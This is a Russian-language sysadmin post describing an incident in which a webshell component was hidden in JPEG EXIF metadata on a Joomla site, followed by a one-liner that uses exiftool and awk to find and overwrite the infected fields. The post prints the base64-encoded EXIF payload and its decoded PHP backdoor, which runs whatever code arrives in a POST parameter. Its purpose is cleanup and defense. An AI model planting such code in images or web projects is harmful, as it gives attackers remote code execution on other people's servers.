Пакетная очистка вируса из EXIF информации в картинках

Сегодня получили абузу от апстрима чьи IP адреса мы используем на одном из серверов с shared хостингом. Краткая суть заключалась в том что на таком-то сайте был обнаружен файл содержащий вирус.

|2014-09-23 12:53:44 CEST |41522804 |JPG:PHPAgent-A Trj |xxx.xxx.xxx.xxx |*******.*** |http://www.*******.***/media/k2/items/cache/12abae3c81505932f6f2610e7cdfbe24_S.jpg

Картинка представляла собой небольшую иконку и файл занимал 4.6 килобайт. Внутри оказалась EXIF информация, что для такой малоформатной иконки было странным.

Exif Byte Order                 : Little-endian (Intel, II)
Make                            : /.*/e
Camera Model Name               : eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
Comment                         : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85.

После декодирования сервисом http://www.unphp.net/ получился вот такой php код:

<?php if (isset($_POST["zz1"])) {
    eval(stripslashes($_POST["zz1"]));
}

Как выяснилось это была вторая скрытая часть составного webshell который взаимодействовал с первой частью размещённой в коде самой CMS (Joomla). Но эту первую часть не получилось найти по-быстрому. А поскольку сайт готовился на полную замену, не имело смысла искать дыру в CMS. Поэтому было принято решение перевести файловую систему в режим readonly, до самого обновления CMS. Но чтобы деактивировать этот бэкдор, необходимо было сначала удалить эти включения из всех графических файлов. Я перебрал несколько вариантов циклов которые работали медленно. Для рекурсивного обхода дерева и просмотра нескольких сотен тысяч файлов требовалось его ускорить. В итоге получился однострочный скрипт который генерирует текст содержащий команды для проведения такой операции, которые затем легко превратить в выполняемые.

exiftool -veryShort -recurse -make -model -ext jpg * | awk '{if ($1 ~ /^===/) save=$2; if ($2 ~/eval/) print "exiftool -overwrite_original -make=\"exiftool\" -model=\"exiftool\" "save" # "$2}'

Для tiff файлов измените опцию -ext jpg на -ext tif